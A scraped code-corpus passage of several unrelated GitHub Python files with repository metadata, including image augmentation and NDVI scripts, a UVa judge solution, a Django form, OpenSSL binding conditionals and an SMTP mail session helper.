of the image around sometimes(iaa.PerspectiveTransform(scale=(0.01, 0.1))) ], random_order=True ) ], random_order=True ) for aug_count in range(100): print("Augmenting...") seq_det = seq.to_deterministic() # augment keypoints and images images_aug = seq_det.augment_images([image]) keypoints_aug = seq_det.augment_keypoints(onImageKeypoints) print("Augmented...") m = 0 for image_aug, keypoint_aug in zip(images_aug, keypoints_aug): m += 1 boxCount = 0 for i in range(len(objects)): bndboxObj = objects[i].find('bndbox') newXmin = min(int(keypoint_aug.keypoints[4 * boxCount].x), int(keypoint_aug.keypoints[3 + 4 * boxCount].x)) newYmin = min(int(keypoint_aug.keypoints[4 * boxCount].y), int(keypoint_aug.keypoints[3 + 4 * boxCount].y)) newXmax = max(int(keypoint_aug.keypoints[4 * boxCount].x), int(keypoint_aug.keypoints[3 + 4 * boxCount].x)) newYmax = max(int(keypoint_aug.keypoints[4 * boxCount].y), int(keypoint_aug.keypoints[3 + 4 * boxCount].y)) bndboxObj.find('xmin').text = newXmin.__str__() bndboxObj.find('xmax').text = newXmax.__str__() bndboxObj.find('ymin').text = newYmin.__str__() bndboxObj.find('ymax').text = newYmax.__str__() #try: # cv2.rectangle(image, (int(newXmin ), int(newYmin )), (int(newXmax ), int(newYmax )), (0, 255, 0), 25) #except: # image = image.transpose((1, 2, 0)).astype(np.uint8).copy() # cv2.rectangle(image, (int(newXmin), int(newYmin)), (int(newXmax), int(newYmax)), (0, 255, 0), 25) # image = image.transpose((2, 0, 1)).astype(np.uint8).copy() boxCount += 1 #image=cv2.resize(image, None, fx=0.25, fy=0.25, interpolation=cv2.INTER_AREA) #cv2.imshow('test2', image) #cv2.waitKey(1000) filename_=filename.replace('.jpg','') tree.write("annotations/%s_%02d_%02d_%02d.xml" % (filename_,aug_count,m,boxCount)) misc.imsave("images/%s_%02d_%02d_%02d.jpg" % (filename_,aug_count,m, boxCount), image_aug) def compress_to_jpg(image, quality=75): quality = quality if quality is not None else 75 im = PIL.Image.fromarray(image) out = BytesIO() im.save(out, format="JPEG", quality=quality) jpg_string = out.getvalue() out.close() return jpg_string def decompress_jpg(image_compressed): img_compressed_buffer = BytesIO() img_compressed_buffer.write(image_compressed) img = ndimage.imread(img_compressed_buffer, mode="RGB") img_compressed_buffer.close() return img def arrdiff(arr1, arr2): nb_cells = np.prod(arr2.shape) d_avg = np.sum(np.power(np.abs(arr1.astype(np.float64) - arr2.astype(np.float64)), 2)) / nb_cells return d_avg def save(fp, image, quality=75): image_jpg = compress_to_jpg(image, quality=quality) image_jpg_decompressed = decompress_jpg(image_jpg) # If the image file already exists and is (practically) identical, # then don't save it again to avoid polluting the repository with tons # of image updates. # Not that we have to compare here the results AFTER jpg compression # and then decompression. Otherwise we compare two images of which # image (1) has never been compressed while image (2) was compressed and # then decompressed. if os.path.isfile(fp): image_saved = ndimage.imread(fp, mode="RGB") #print("arrdiff", arrdiff(image_jpg_decompressed, image_saved)) same_shape = (image_jpg_decompressed.shape == image_saved.shape) d_avg = arrdiff(image_jpg_decompressed, image_saved) if same_shape else -1 if same_shape and d_avg <= 1.0: print("[INFO] Did not save image '%s', because the already saved image is basically identical (d_avg=%.8f)" % (fp, d_avg,)) return else: print("[INFO] Saving image '%s'..." % (fp,)) with open(fp, "w") as f: f.write(image_jpg) if __name__ == "__main__": main()
[ "noreply@github.com" ]
dedoogong.noreply@github.com
a284f513e4c216393f6fd80fdc81dd7bd9c541be
0c8f6f8bb8b75cb1880828071ad174b3e62f3f97
/NIRtoNDVI_JPGInputOnly.py
269925e2c41e8a3c5e09c97c710ccb1263906f98
[]
no_license
alextrd/PythonNDVI
c6e82218457f8e9aab862829672d988133a7426a
5d21f125eb822174908ac8a98757cbfa7a33e941
refs/heads/master
2022-12-03T21:04:51.383262
2020-07-26T18:30:42
2020-07-26T18:30:42
282,694,224
0
0
null
2020-07-26T16:58:14
2020-07-26T16:58:13
null
UTF-8
Python
false
false
2,824
py
# -*- coding: utf-8 -*- """ Created on Mon May 25 02:34:05 2020 @author: cosmi """ """ Experimental Vegetation Index Mapping program using DJI Mavic 2 Pro JPEG 16-bit combo images taken using InfraBlue Filter %(c)-J. Campbell MuonRay Enterprises 2019 This Python script was created using the Spyder Editor """ import warnings warnings.filterwarnings('ignore') from scipy import misc import imageio import numpy as np from matplotlib import pyplot as plt # For image viewing #!/usr/bin/python import getopt import sys import matplotlib.pyplot as plt from matplotlib import colors from matplotlib import ticker from matplotlib.colors import LinearSegmentedColormap #dng reading requires libraw to work # Open an image # image = misc.imread('PANO0003.jpg') # misc doesn't works, it must be imageio instead. image = imageio.imread('PANO0003.jpg') # Get the red band from the rgb image, and open it as a numpy matrix #NIR = image[:, :, 0] #ir = np.asarray(NIR, float) ir = (image[:,:,0]).astype('float') # Get one of the IR image bands (all bands should be same) #blue = image[:, :, 2] #r = np.asarray(blue, float) r = (image[:,:,2]).astype('float') # Create a numpy matrix of zeros to hold the calculated NDVI values for each pixel ndvi = np.zeros(r.size) # The NDVI image will be the same size as the input image # Calculate NDVI ndvi = np.true_divide(np.subtract(ir, r), np.add(ir, r)) # Display the results output_name = 'InfraBlueNDVI3.jpg' #a nice selection of grayscale colour palettes cols1 = ['blue', 'green', 'yellow', 'red'] cols2 = ['gray', 'gray', 'red', 'yellow', 'green'] cols3 = ['gray', 'blue', 'green', 'yellow', 'red'] cols4 = ['black', 'gray', 'blue', 'green', 'yellow', 'red'] def create_colormap(args): return LinearSegmentedColormap.from_list(name='custom1', colors=cols3) #colour bar to match grayscale units def create_colorbar(fig, image): position = fig.add_axes([0.125, 0.19, 0.2, 0.05]) norm = colors.Normalize(vmin=-1., vmax=1.) cbar = plt.colorbar(image, cax=position, orientation='horizontal', norm=norm) cbar.ax.tick_params(labelsize=6) tick_locator = ticker.MaxNLocator(nbins=3) cbar.locator = tick_locator cbar.update_ticks() cbar.set_label("NDVI", fontsize=10, x=0.5, y=0.5, labelpad=-25) fig, ax = plt.subplots() image = ax.imshow(ndvi, cmap=create_colormap(colors)) plt.axis('off') create_colorbar(fig, image) extent = ax.get_window_extent().transformed(fig.dpi_scale_trans.inverted()) fig.savefig(output_name, dpi=600, transparent=True, bbox_inches=extent, pad_inches=0) # plt.show()
[ "noreply@github.com" ]
alextrd.noreply@github.com
ed163afdd9aac4707ebc6884f8c8263b49ce36bd
3ef99240a541f699d71d676db514a4f3001b0c4b
/UVa Online Judge/v8/865.py
a215c4ca00c895c53fdfc6e1976ba8730f18e6dc
[ "MIT" ]
permissive
mjenrungrot/competitive_programming
36bfdc0e573ea2f8656b66403c15e46044b9818a
e0e8174eb133ba20931c2c7f5c67732e4cb2b703
refs/heads/master
2022-03-26T04:44:50.396871
2022-02-10T11:44:13
2022-02-10T11:44:13
46,323,679
1
0
null
null
null
null
UTF-8
Python
false
false
1,039
py
# ============================================================================= # Author: Teerapat Jenrungrot - https://github.com/mjenrungrot/ # FileName: 865.py # Description: UVa Online Judge - 865 # ============================================================================= def convert(ch, mapping): if ch in mapping: return mapping[ch] else: return ch def run(): plain_text = input() substitution_text = input() mapping = {} for i in range(len(plain_text)): mapping[plain_text[i]] = substitution_text[i] print(substitution_text) print(plain_text) while True: try: line = input() except EOFError: break if len(line) == 0: break substituted_line = "".join(list(map(lambda x: convert(x, mapping), line))) print(substituted_line) if __name__ == "__main__": T = int(input()) _ = input() for i in range(T): if i: print("") run()
[ "15001582+mjenrungrot@users.noreply.github.com" ]
15001582+mjenrungrot@users.noreply.github.com
bae582f0322ee40f5a9ac4b5b216faf8ea43ff0e
50936864f3feedcc46ef3980864c8ecb0bb4daa8
/class_examples/function_samples.py
57d129c7ed20401df628b9f735b23fb7cac8e8fc
[]
no_license
shahrohan05/LearningPython
79c75024ad740535478ad80c3c78a0b89f8a5ce8
4cae85ba18ca8a7ca4d7ac1d4ef611ab0d85d47f
refs/heads/master
2022-10-18T13:36:04.548458
2020-06-11T11:49:29
2020-06-11T11:49:29
264,109,942
0
0
null
null
null
null
UTF-8
Python
false
false
1,011
py
# Samples demonstrating the benefits of functions being high level objects in Python # 1. Passing functions as argument to other functions, routine to apply any function to a list def apply(list_obj, func): applied_list = [] for i in list_obj: applied_list.append(func(i)) return applied_list list1 = [1, 2.5, 3.3, 4.7, 5.9] print(apply(list1, int)) # applying int() function to each element of the list print(apply(list1, str)) # applying str() function to each element of the list # 2. Functions as elements of list or other collection types - see basics.py # 3. Functions can be assigned to other variables apply_fun = apply print(apply_fun(list1,str)) # Works the same as calling apply directly # 4. Objects as Functions: Objects can be called upon just like functions by defining a __call__ method inside it class Student: def __init__(self,name): self.name = name def __call__(self): print("Student : "+self.name) s1 = Student("Samir Bhatt") s1()
[ "shahrohan07@live.com" ]
shahrohan07@live.com
18d7f6dfed300e6fef769bf8a48d3d20b451d576
444a9480bce2035565332d4d4654244c0b5cd47b
/research/cv/lenet/golden_stick/quantization/simqat/algorithm.py
b1efd2efa845ae8603b313f637c65759fb72f2c5
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-proprietary-license" ]
permissive
mindspore-ai/models
7ede9c6454e77e995e674628204e1c6e76bd7b27
eab643f51336dbf7d711f02d27e6516e5affee59
refs/heads/master
2023-07-20T01:49:34.614616
2023-07-17T11:43:18
2023-07-17T11:43:18
417,393,380
301
92
Apache-2.0
2023-05-17T11:22:28
2021-10-15T06:38:37
Python
UTF-8
Python
false
false
1,146
py
# Copyright 2022 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================ """Create SimQAT algorithm instance.""" from mindspore_gs import SimulatedQuantizationAwareTraining as SimQAT def create_simqat(): algo = SimQAT() algo.set_act_quant_delay(900) algo.set_weight_quant_delay(900) algo.set_act_symmetric(False) algo.set_weight_symmetric(True) algo.set_act_per_channel(False) algo.set_weight_per_channel(True) algo.set_enable_fusion(True) algo.set_bn_fold(True) algo.set_one_conv_fold(False) return algo
[ "hangangqiang2@huawei.com" ]
hangangqiang2@huawei.com
ef3a89ddc1ff61857e690162f4553f344f54d749
53d11efbbb791658b67bf71db1bc9e5af8f7ca3d
/GNNAdvisor/s7-4_1_neighbor_partitioning.py
51e94a804dae3af4fd35af7880006da94b8dca61
[]
no_license
PeterSwiss/OSDI21_AE
ec95741f01bf0fac75f2929d9394a86cf4ce5185
6ea6a211248faba7637025e2269423b42ee923ac
refs/heads/master
2023-07-16T01:05:59.414819
2021-09-03T04:16:24
2021-09-03T04:16:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
823
py
#!/usr/bin/env python3 import os os.environ["PYTHONWARNINGS"] = "ignore" partsize_li = [2, 4, 8, 16, 32, 64, 128, 256, 512] dataset = [ ( 'amazon0505' , 96 , 22), ( 'artist' , 100 , 12), ( 'com-amazon' , 96 , 22), ( 'soc-BlogCatalog' , 128 , 39), ( 'amazon0601' , 96 , 22), ] for partsize in partsize_li: print("******************************") print("++ Part-size: {}".format(partsize)) print("******************************") for data, d, c in dataset: print("{}---partsize: {}".format(data, partsize)) print("=================") command = "python GNNA_main.py --dataset {} --dim {} --classes {} --partSize {}".format(data, d, c, partsize) os.system(command)
[ "505008605@qq.com" ]
505008605@qq.com
069006820c2e51d0783244a96fe45e4c7202d1b9
f06fbdc8b7afc85456dd07d3e3a4f4d99fbf2c8e
/Django_example_Dronov/broomtrade/guestbook/forms.py
9c9ddfc72527006138af4f765dca6a3944452838
[]
no_license
MaxOvcharov/Django_projects
fc8ce25ebc0e5be2ae8b763b3b5a62f0efb30e64
365223ea4086a50a6112df3e1e5d18eb727ba175
refs/heads/master
2020-12-24T10:15:42.826235
2017-03-01T14:21:18
2017-03-01T14:21:18
73,089,724
1
0
null
null
null
null
UTF-8
Python
false
false
410
py
from django import forms from guestbook.models import Guestbook class GuestbookForm(forms.ModelForm): class Meta: model = Guestbook user = forms.CharField(max_length = 20, label = "Пользователь") content = forms.CharField(widget = forms.Textarea, label = "Содержание") honeypot = forms.CharField(required = False, label = "Ловушка для спамеров")
[ "ovcharovmax@yandex.ru" ]
ovcharovmax@yandex.ru
8e1329d24601f42ec66eb1db1e8161b386c6e321
f1398b19fa7e24b8b07dd518091210c7a5b32bb2
/1. Variables and Data Types/challenge.py
f400e7999d75342cca32ace5c6fbfd557a1c7776
[ "MIT" ]
permissive
Descent098/PYTH-101
d7266b5e0d4c594e445db68e8072da90c4d41341
767ba750e5cae0d213b9abfd709ff8f6e4d4a1ac
refs/heads/master
2020-07-18T12:40:47.954569
2020-01-03T06:45:08
2020-01-03T06:45:08
206,247,280
0
0
null
null
null
null
UTF-8
Python
false
false
740
py
""" =========== Challenge 1 ============= Under the hood in python strings are actually collections that use indices. Knowing this figure out how to print the fourth letter of the string below. """ name = "John Doe" print(name) # Print the 4th letter of the name """ =========== Challenge 2 ============= Create an empty list called shopping_list then using user input fill the list with 5 elements. Hint: You can do this with 6 variables including the list """ # When ready to work on these exercises uncomment below code # shopping_list = [] # Create a variable called shopping list with nothing in it # Add 5 items to the shopping list # print(shopping_list) # print out the final list
[ "kieranw098@gmail.com" ]
kieranw098@gmail.com
ba3c0dafba70e8a7c6efaa18bef48f5464064aa3
0958d1dfc012f9724a2a558b5face7afe53afed8
/bin/cryptography/hazmat/bindings/openssl/_conditional.py
9dca1c24c87ac380f646dd6068fec66002ae4fdf
[ "BSD-3-Clause", "Apache-2.0", "BSD-2-Clause" ]
permissive
davisshannon/TA_microsoft_o365_email_add_on_for_splunk
9eba1f4586012d91e18fb0948c4f90f3c1eeaa21
c900a2c1854554d4d4f791f2b95b7e743ada24dc
refs/heads/main
2023-03-21T18:48:37.732238
2021-03-20T07:27:24
2021-03-20T07:27:24
316,347,260
3
0
null
null
null
null
UTF-8
Python
false
false
7,868
py
# This file is dual licensed under the terms of the Apache License, Version # 2.0, and the BSD License. See the LICENSE file in the root of this repository # for complete details. from __future__ import absolute_import, division, print_function def cryptography_has_cms(): return [ "BIO_new_CMS", "i2d_CMS_bio_stream", "PEM_write_bio_CMS_stream", "CMS_final", "CMS_sign", "CMS_verify", "CMS_encrypt", "CMS_decrypt", "CMS_add1_signer", "CMS_TEXT", "CMS_NOCERTS", "CMS_NO_CONTENT_VERIFY", "CMS_NO_ATTR_VERIFY", "CMS_NOSIGS", "CMS_NOINTERN", "CMS_NO_SIGNER_CERT_VERIFY", "CMS_NOVERIFY", "CMS_DETACHED", "CMS_BINARY", "CMS_NOATTR", "CMS_NOSMIMECAP", "CMS_NOOLDMIMETYPE", "CMS_CRLFEOL", "CMS_STREAM", "CMS_NOCRL", "CMS_PARTIAL", "CMS_REUSE_DIGEST", "CMS_USE_KEYID", "CMS_DEBUG_DECRYPT", ] def cryptography_has_ec2m(): return [ "EC_GF2m_simple_method", "EC_POINT_set_affine_coordinates_GF2m", "EC_POINT_get_affine_coordinates_GF2m", "EC_POINT_set_compressed_coordinates_GF2m", "EC_GROUP_set_curve_GF2m", "EC_GROUP_get_curve_GF2m", "EC_GROUP_new_curve_GF2m", ] def cryptography_has_ec_1_0_2(): return [ "EC_curve_nid2nist", ] def cryptography_has_set_ecdh_auto(): return [ "SSL_CTX_set_ecdh_auto", ] def cryptography_has_rsa_r_pkcs_decoding_error(): return [ "RSA_R_PKCS_DECODING_ERROR" ] def cryptography_has_rsa_oaep_md(): return [ "EVP_PKEY_CTX_set_rsa_oaep_md", ] def cryptography_has_rsa_oaep_label(): return [ "EVP_PKEY_CTX_set0_rsa_oaep_label", ] def cryptography_has_ssl3_method(): return [ "SSLv3_method", "SSLv3_client_method", "SSLv3_server_method", ] def cryptography_has_alpn(): return [ "SSL_CTX_set_alpn_protos", "SSL_set_alpn_protos", "SSL_CTX_set_alpn_select_cb", "SSL_get0_alpn_selected", ] def cryptography_has_compression(): return [ "SSL_get_current_compression", "SSL_get_current_expansion", "SSL_COMP_get_name", ] def cryptography_has_get_server_tmp_key(): return [ "SSL_get_server_tmp_key", ] def cryptography_has_102_verification_error_codes(): return [ 'X509_V_ERR_SUITE_B_INVALID_VERSION', 'X509_V_ERR_SUITE_B_INVALID_ALGORITHM', 'X509_V_ERR_SUITE_B_INVALID_CURVE', 'X509_V_ERR_SUITE_B_INVALID_SIGNATURE_ALGORITHM', 'X509_V_ERR_SUITE_B_LOS_NOT_ALLOWED', 'X509_V_ERR_SUITE_B_CANNOT_SIGN_P_384_WITH_P_256', 'X509_V_ERR_HOSTNAME_MISMATCH', 'X509_V_ERR_EMAIL_MISMATCH', 'X509_V_ERR_IP_ADDRESS_MISMATCH' ] def cryptography_has_102_verification_params(): return [ "X509_V_FLAG_SUITEB_128_LOS_ONLY", "X509_V_FLAG_SUITEB_192_LOS", "X509_V_FLAG_SUITEB_128_LOS", "X509_VERIFY_PARAM_set1_host", "X509_VERIFY_PARAM_set1_email", "X509_VERIFY_PARAM_set1_ip", "X509_VERIFY_PARAM_set1_ip_asc", "X509_VERIFY_PARAM_set_hostflags", ] def cryptography_has_x509_v_flag_trusted_first(): return [ "X509_V_FLAG_TRUSTED_FIRST", ] def cryptography_has_x509_v_flag_partial_chain(): return [ "X509_V_FLAG_PARTIAL_CHAIN", ] def cryptography_has_set_cert_cb(): return [ "SSL_CTX_set_cert_cb", "SSL_set_cert_cb", ] def cryptography_has_ssl_st(): return [ "SSL_ST_BEFORE", "SSL_ST_OK", "SSL_ST_INIT", "SSL_ST_RENEGOTIATE", ] def cryptography_has_tls_st(): return [ "TLS_ST_BEFORE", "TLS_ST_OK", ] def cryptography_has_locking_callbacks(): return [ "CRYPTO_LOCK", "CRYPTO_UNLOCK", "CRYPTO_READ", "CRYPTO_LOCK_SSL", "CRYPTO_lock", ] def cryptography_has_scrypt(): return [ "EVP_PBE_scrypt", ] def cryptography_has_generic_dtls_method(): return [ "DTLS_method", "DTLS_server_method", "DTLS_client_method", ] def cryptography_has_evp_pkey_dhx(): return [ "EVP_PKEY_DHX", ] def cryptography_has_mem_functions(): return [ "Cryptography_CRYPTO_set_mem_functions", ] def cryptography_has_sct(): return [ "SCT_get_version", "SCT_get_log_entry_type", "SCT_get0_log_id", "SCT_get_timestamp", "SCT_set_source", "sk_SCT_num", "sk_SCT_value", "SCT_LIST_free", ] def cryptography_has_x509_store_ctx_get_issuer(): return [ "X509_STORE_get_get_issuer", "X509_STORE_set_get_issuer", ] def cryptography_has_x25519(): return [ "NID_X25519", ] def cryptography_has_evp_pkey_get_set_tls_encodedpoint(): return [ "EVP_PKEY_get1_tls_encodedpoint", "EVP_PKEY_set1_tls_encodedpoint", ] def cryptography_has_fips(): return [ "FIPS_set_mode", "FIPS_mode", ] def cryptography_has_openssl_cleanup(): return [ "OPENSSL_cleanup", ] # This is a mapping of # {condition: function-returning-names-dependent-on-that-condition} so we can # loop over them and delete unsupported names at runtime. It will be removed # when cffi supports #if in cdef. We use functions instead of just a dict of # lists so we can use coverage to measure which are used. CONDITIONAL_NAMES = { "Cryptography_HAS_CMS": cryptography_has_cms, "Cryptography_HAS_EC2M": cryptography_has_ec2m, "Cryptography_HAS_EC_1_0_2": cryptography_has_ec_1_0_2, "Cryptography_HAS_SET_ECDH_AUTO": cryptography_has_set_ecdh_auto, "Cryptography_HAS_RSA_R_PKCS_DECODING_ERROR": ( cryptography_has_rsa_r_pkcs_decoding_error ), "Cryptography_HAS_RSA_OAEP_MD": cryptography_has_rsa_oaep_md, "Cryptography_HAS_RSA_OAEP_LABEL": cryptography_has_rsa_oaep_label, "Cryptography_HAS_SSL3_METHOD": cryptography_has_ssl3_method, "Cryptography_HAS_ALPN": cryptography_has_alpn, "Cryptography_HAS_COMPRESSION": cryptography_has_compression, "Cryptography_HAS_GET_SERVER_TMP_KEY": cryptography_has_get_server_tmp_key, "Cryptography_HAS_102_VERIFICATION_ERROR_CODES": ( cryptography_has_102_verification_error_codes ), "Cryptography_HAS_102_VERIFICATION_PARAMS": ( cryptography_has_102_verification_params ), "Cryptography_HAS_X509_V_FLAG_TRUSTED_FIRST": ( cryptography_has_x509_v_flag_trusted_first ), "Cryptography_HAS_X509_V_FLAG_PARTIAL_CHAIN": ( cryptography_has_x509_v_flag_partial_chain ), "Cryptography_HAS_SET_CERT_CB": cryptography_has_set_cert_cb, "Cryptography_HAS_SSL_ST": cryptography_has_ssl_st, "Cryptography_HAS_TLS_ST": cryptography_has_tls_st, "Cryptography_HAS_LOCKING_CALLBACKS": cryptography_has_locking_callbacks, "Cryptography_HAS_SCRYPT": cryptography_has_scrypt, "Cryptography_HAS_GENERIC_DTLS_METHOD": ( cryptography_has_generic_dtls_method ), "Cryptography_HAS_EVP_PKEY_DHX": cryptography_has_evp_pkey_dhx, "Cryptography_HAS_MEM_FUNCTIONS": cryptography_has_mem_functions, "Cryptography_HAS_SCT": cryptography_has_sct, "Cryptography_HAS_X509_STORE_CTX_GET_ISSUER": ( cryptography_has_x509_store_ctx_get_issuer ), "Cryptography_HAS_X25519": cryptography_has_x25519, "Cryptography_HAS_EVP_PKEY_get_set_tls_encodedpoint": ( cryptography_has_evp_pkey_get_set_tls_encodedpoint ), "Cryptography_HAS_FIPS": cryptography_has_fips, "Cryptography_HAS_OPENSSL_CLEANUP": cryptography_has_openssl_cleanup, }
[ "williamshannondavis@gmail.com" ]
williamshannondavis@gmail.com
9f43a7044b4baea5d899623b665c8df328a9f0dc
bddbbb6d368726b4b7592482d003e3fecdc13e79
/Chapter 04/Try It/Try02/animals.py
cd88f71f226436d6e93bca283919da028a654c9a
[]
no_license
djtorel/python-crash-course
982067e3ebfd47285707f95980f99a0f77c685f3
31368a304b6ab36caf7362b2a7998296c36ef929
refs/heads/master
2021-07-10T08:52:02.219605
2017-10-14T17:56:47
2017-10-14T17:56:47
103,666,548
0
0
null
null
null
null
UTF-8
Python
false
false
634
py
# Think of at least three different animals that have a common characteristic. # Store the names of these animals in a list, and then use a for loop to print # out the name of each animal. # • Modify your program to print a statement about each animal, such as A dog # would make a great pet. # • Add a line at the end of your program stating what these animals have in # common. You could print a sentence such as Any of these animals would make a # great pet! animals = ['Cat', 'Dog', 'Turtle'] for animal in animals: print(animal + "s make great pets!") print("All of these animals make great pets!")
[ "dtorruellas@gmail.com" ]
dtorruellas@gmail.com
eb4fe2ac69550f5f51ff8f862b57c584934402b8
49f61714a6f78d984fd2194d6064d84e891bc5b7
/2019-1/231/users/4219/codes/1651_2704.py
1be731980dbcf2a455056963390a312b35747809
[]
no_license
psbarros/Variaveis3
b5c4e1517e7d94a846ee03791d25d5821a1c651c
3dcf6f810709ce03c78335acf9533e008a2ae125
refs/heads/master
2023-06-13T07:05:00.878430
2021-07-06T17:51:37
2021-07-06T17:51:37
383,549,597
0
0
null
null
null
null
UTF-8
Python
false
false
156
py
nota = float(input("digite:")) frase = input("digite: ") x = nota + (nota*(10/100)) if (frase.upper() == "S") : print(float(x)) else : print(nota)
[ "psb@icomp.ufam.edu.br" ]
psb@icomp.ufam.edu.br
1a0a1fd5e37633fcac71112aa9bb3ddeb694213a
b6b2ca395bbe0999f316b95597a77a1d727d98db
/monitor_center/mail_session.py
c05a6a22e812811aefa12347168addb0591c00a9
[]
no_license
mad3310/falcon-agent
bbefa21fb2ab4be6f9861540a457cb5b20c38138
deb4dade35dae2f4d77cd20319db49ab629b4f3c
refs/heads/master
2021-06-28T20:52:46.205547
2016-10-18T07:03:35
2016-10-18T07:03:35
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,552
py
#coding=utf-8 import logging import smtplib import time from datetime import datetime, timedelta class _SMTPSession(object): def __init__(self): self.session = None def connect(self, host, port, user='', password='', duration=30, tls=False): self.host = host self.port = port self.user = user self.password = password self.duration = duration self.smtp_tls = tls self.deadline = datetime.now() self.renew() def send_mail(self, fr, to, message): if self.timeout: self.renew() try: self.session.sendmail(fr, to, message) except Exception as e: logging.debug(e, exc_info=True) err = "Send email from %s to %s failed!\n Exception: %s!" \ % (fr, to, e) logging.error(err) self.renew() raise @property def timeout(self): return self.deadline <= datetime.now() def renew(self): try: if self.session: self.session.quit() except Exception as e: logging.debug(e, exc_info=True) self.session = smtplib.SMTP(self.host, self.port) if self.user and self.password: if self.smtp_tls: self.session.starttls() self.session.login(self.user, self.password) self.deadline = datetime.now() + timedelta( seconds=self.duration * 60) SMTPSession = _SMTPSession()
[ "liujinliu@le.com" ]
liujinliu@le.com